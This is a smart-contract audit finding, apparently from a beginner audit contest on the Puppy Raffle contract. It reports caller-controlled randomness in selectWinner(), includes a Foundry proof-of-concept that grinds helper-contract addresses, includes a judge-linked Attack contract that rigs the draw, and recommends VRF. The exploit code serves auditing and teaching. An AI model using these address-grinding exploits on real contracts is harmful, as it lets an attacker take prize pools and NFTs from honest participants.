Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Caller-controlled randomness lets the finalizer choose the raffle winner

rvoffindings

Root + Impact

Description

selectWinner() derives the winner from values known or controlled by the account that finalizes the raffle. Because the function is permissionless, a searcher can vary msg.sender by deploying helper contracts, predict the modulo result, and only call from an address that selects the desired participant.

function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
​
// @> The finalizer controls msg.sender and can precompute the result.
uint256 winnerIndex = uint256(
keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))
) % players.length;
address winner = players[winnerIndex];
​
uint256 prizePool = (players.length * entranceFee * 80) / 100;
// ... pays the selected winner and mints the NFT
​
// @> Rarity reuses the same caller-controlled input.
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
}

The hash does not create entropy: it only mixes public block values with a caller address chosen by the finalizer. The same helper choice also influences the NFT rarity roll.

Risk

Likelihood: High

  • Any address can call selectWinner() after the normal time and participant-count gates.

  • A searcher can cheaply create candidate helper contracts and calculate the exact index before allowing the favorable helper to finalize.

  • A competing honest finalizer can win the race, but that does not remove the demonstrated caller-grinding primitive.

Impact: High

  • A participant or collaborator can direct the 80% prize pool and NFT to a chosen eligible entry.

  • This breaks the core fairness property of the raffle.

Proof of Concept

The following Foundry test enrolled four players, made address(501) the desired winner at index zero, and deployed up to 64 helper contracts until one address mapped to that index:

function testPoC_CallerChoosesAddressThatSelectsDesiredWinner() public {
_enter(raffle, 4, 500, ENTRANCE_FEE);
address desiredWinner = address(501);
vm.warp(block.timestamp + DURATION + 1);
​
SelectorProxy chosen;
for (uint256 i = 0; i < 64; i++) {
SelectorProxy candidate = new SelectorProxy();
uint256 predictedIndex = uint256(
keccak256(abi.encodePacked(address(candidate), block.timestamp, block.difficulty))
) % 4;
if (predictedIndex == 0) {
chosen = candidate;
break;
}
}
​
assertTrue(address(chosen) != address(0));
chosen.select(raffle);
assertEq(raffle.previousWinner(), desiredWinner);
}

Observed result against challenge commit 08e5b1fc6939b8da7792b2d13e43000c519d8897:

[PASS] testPoC_CallerChoosesAddressThatSelectsDesiredWinner() (gas: 1247402)

This proves caller-address grinding in the local authorized test environment. It does not assume miner control or guarantee winning a public mempool race.

Recommended Mitigation

Use asynchronous verifiable randomness. selectWinner() should close the round and request a random word, while an authenticated VRF callback tied to the pending requestId performs settlement. Derive both winner and rarity from the returned random word with domain separation, never from msg.sender, block.timestamp, block.difficulty, blockhash, or prevrandao alone.

Add explicit OPEN, DRAW_PENDING, and SETTLED phases, reject entries and duplicate requests while a draw is pending, and test unauthorized, wrong-request, stale-round, and duplicate callbacks.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!